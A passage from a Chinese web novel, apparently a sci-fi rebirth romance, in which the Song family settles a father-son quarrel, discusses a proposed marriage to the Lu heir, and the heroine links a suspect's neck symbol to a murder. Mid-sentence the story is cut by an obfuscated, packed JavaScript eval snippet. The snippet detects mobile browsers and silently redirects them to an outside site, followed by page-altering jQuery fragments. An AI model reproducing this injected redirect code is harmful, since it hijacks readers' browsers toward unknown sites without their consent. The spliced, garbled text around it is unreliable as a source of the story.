宋修平回来时,三人正坐在沙发上闲聊。宋清昭瞧见他,微微抬头,道:“爸。”
“嗯,”男人应道,顺口道,“工作处理完了?”
“嗯,挺顺利的。”
“好。”宋修平与女儿聊了两句,将脱下的外套交给迎上来的管家,边挽袖边朝客厅走去,视线正好落到窝在单人沙发里的宋清安。
与神情自然的宋清昭相比,他的表情在宋修平进门的那刻就变得有些微妙,尴尬中又带着不是很愿意认输的劲儿,慢吞吞地从沙发中起身,憋了半天,才硬声道:“爸。”
“还知道回来?”瞧见儿子这副德性,宋修平语气中也不自觉变得严厉,“不是要断绝关系吗?还回来做什么?”
宋清昭和阮玉兰听得一愣,她俩虽然知道父子俩是闹矛盾了,但真没想到那晚居然吵得这么激烈,连断绝关系这种话都说出来了,毕竟一个不愿意给姐姐说因为什么并承诺回来就道歉,一个给妻子说不是什么大事不用担心,母女俩自然就没当回事。
宋清安听见这话,嘴唇一抿,明显又要跟宋修平争论起来。
“修平,”阮玉兰反应快,先开了口,表情冷淡地看着男人道,“如果你们两个还要吵就出去,不要打扰我和清昭。”
“清安,”随即她又不满地朝宋清安道,“不管你和爸爸有什么矛盾,都不能说断绝关系这种伤人的话,知道吗?”
语速平缓,声线温和,却带着强大的不容拒绝的气场。
阮玉兰作为阮家独女,在二老隐退后独自掌管着阮家头部产业,成为阮家新的决策者,手段强硬,杀伐果决,多年在职场打拼的经历让她的气势丝毫不输在场的任何一人,只是在面对家人的时候会收起身上的锐利,以柔软示人。
只两句话,便在瞬息间搅散父子俩剑拔弩张的氛围。
“抱歉。”宋修平语气都软了下来。
“对不起,妈。”宋清安垂头,迅速道歉。
看着父亲和弟弟像被训斥得不敢抬头的大型犬,宋清昭十分佩服地给她妈竖了个大拇指。这招不错。
阮玉兰瞧见后得意地眨了下眼,一撩头发起身,哼着小曲,“走吧,吃饭!”
一大一小乖乖跟在屁股后面朝餐厅走去,宋清昭忍俊不禁地笑出声,心想这也算一门学问啊。
晚饭后,父子俩人默契地到书房解决问题,宋清昭则陪着阮玉兰在庄园散步消食,别墅后面的花园早在去年就已打理好撒下种子,正时节的花卉与四季常青的绿植开了满园,令人心旷神怡,宋清昭看着此景,不自觉地深呼吸放松下来。
原本母女俩有一搭没一搭地聊着,云珀浮岛的装修刚刚进入尾声,宋清昭忙于任务,只需要提出自己喜欢的风格,剩下的都由母亲决定。
两个人聊到这里,阮玉兰提议道:“你工作忙,恐怕回去住的次数也少,时间久了屋里既没人气还会落灰,等回头装修完后挑个家政,定期去给你打扫打扫屋子?”
“可以,”宋清昭点头,“您定就好。”
阮玉兰突然转了话题,“前几天陆家又上门提起联姻的事情。”
“嗯?”
“你出差那天,你爸回来就和我说看出来你不愿意,所以在陆家人来的时候直接就回绝了。”
“那不挺好。”也省得自己再费口舌。宋清昭心想,反正陆璟之也说自己结婚了,虽然从林阳的反应来看可能是假的,但这也表明对方同样没有联姻的意思,可能前世也是被逼的。
她刚要松口气,庆祝自己这辈子终于与对方再无交集。就听见阮玉兰的声音再次响起。
“陆家家主开始还是想再争取一下,见我们态度坚决后也没说什么,算是默认这门亲事作废。”
“倒是没想到陆家长子回来后,并不同意取消联姻,还来过家里两次。”
嗯?宋清昭微愣,陆璟之这是什么意思?
阮玉兰也有些疑惑,阮玉兰作为商人的子女十分清楚,在这个圈子里,尤其像陆家的情况,后代的婚姻往往都由不得子女自己做主,每个孩子的婚姻背后都是一条利益链,是两个家族间资源互换的纽带。宋陆两家并不相熟,按理说陆家长子应该也不愿意和素未相识的人结婚才对。
但根据陆夫人的形容和自己所见,对方好像非清昭不娶。
她也从商人的角度来揣测过,陆家还是想攀上宋家和阮家,陆家主装作放弃,他的长子再上演一出痴情戏码,以此来向宋家和清昭施压。
想到这种可能,阮玉兰神色就冷了几分。真不愧是父子俩,都只会在女人身上耍手段。
陆临舟风流多情,听说年轻时就喜欢靠着那张有点姿色的脸去撩拨界内有能力的女性,陆家基业到他这种纨绔手里不降反升,谁知道这其中有多少是他哄骗得身边女人将利益拱手相让。
陆璟之到家里来的时候她见过面,也聊过天,样貌是不错,谈吐举止也很稳重,但上梁不正下梁歪,难不成他还真是个例外?
阮玉兰半信半疑。
“上次他临走前,我说了联姻这种事最终还是要看你的意思。”
宋修平原先在军团服役,退役后跟在老领导身边做事任职,一次外出办事时帮助了被劫匪抢包的阮玉兰,两人一见钟情。后来宋修平因故辞职,选择经商,也为了表示心上人嫁给自己绝对不会吃苦的态度,默默挨着阮老爷子的横眉冷对虚心求教学习如何创业,在有所成色后才向阮玉兰求婚。
原本阮老爷子还不乐意,但就这一个宝贝女儿,再加上宋修平品行确实不错,老实寡言但活没少干,也就随他们去了。
自由恋爱的两人对后代的婚姻自然也是以他们的个人意愿为主。
“那孩子碰壁两次也不气馁,只说见你一面就好。”
阮玉兰问她,“你的意见呢?”
宋清昭沉默,除了哈德星那次,她不记得这一世自己有和陆璟之见过面,对方为何会对这
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15547583|171212||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
门婚事这么执着?
“我知道了。”
既然对方无论如何都要见一面,那她就去赴约,说清楚,也省得那人接二连三地往家里跑。
母女两人从花园回到屋里时,宋清安刚好从宋修平的书房出来,表情苦大仇深的,明显是不情不愿地和父亲达成“和解”协议,但他心中到底怎么想的,旁人就不知道了。
阮玉兰笑着去安慰自己儿子,自己前世这个时候在基地参加特训,等她从母亲口中听闻这件事时已经是几个月后了,如今她成为这件事的旁观者,却下意识觉得这事没那么容易结束。
她盯着宋清安半晌,在后者有所察觉前收回视线。
头顶传来男人的声音,宋修平从书房走出,双手撑在二楼的栏杆处,开口道:“清昭,你来一下。”
瞧他的神情,宋清昭猜测是自己之前请父亲帮忙的事有眉目了。
她快步走上台阶,进入书房,宋修平已经回到书桌后面,开门见山道:“你让我调查的那个人,在星盟的数据库中查无此人。”
“查无此人?”宋清昭皱眉,有点意外。
她明明记得拿到的简历上有写叶云乔出生于星盟的一个偏远星球,难道那是个假信息?叶云乔不是星盟公民?
“要么她是联邦的,要么是帝国的,星盟的数据库已经录入了全星盟人口的信息,”宋修平虽然已经从原先任职的地方辞职,但与老领导的关系还在,再加上宋清昭的缘故,让信息部门查个人不算什么难事,男人看女儿有些严肃的神情,疑惑道,“这个人很重要吗?和你们的任务有关?”
“不算有关系,是一些私事。”
宋清昭不可能告诉父亲这个人将来是自己婚姻的插足者,陆璟之的真爱,自己为了两家利益在干预途中还遭遇了车祸,然后循环重生。
但这都不算什么,宋清昭真正开始在意叶云乔是在楼顶那次,她欲拽着陆璟之和叶云乔跳下楼顶时,对方慌忙挣扎时衣领敞开,露出印在她后颈,如同符号的东西。
只一眼就让宋清昭心跳骤停,瞳孔震颤。
所有事物都被抛至脑后,她就那么死死盯那块图案,直到三人一同重重坠落地面,激起巨大尘土。
那枚类似纹身一样的东西,和四年前自己在阿兹拉尔身上看到的符号一模一样。
她不能确定叶云乔是不是“流浪者”。
但她笃定叶云乔和杀害砚舒的人,来自同一个地方。
大地在吞咽。从三人身体中流出的鲜血瞬间渗入裂缝,滋润着这片枯竭干裂的地面,她侧头看着因剧痛而抽搐的叶云乔,对方强烈的求生欲让她目眦欲裂,盯着天空,张着嘴想要呼救。
远处星警和医护人员一齐朝他们跑过来,不断震动的地面渐渐和宋清昭胸腔的震颤融为一体,疯狂涌上喉间的鲜血将她的笑声变得断断续续。
在这破败荒芜的星球天地间,突兀又诡异。
她找到了。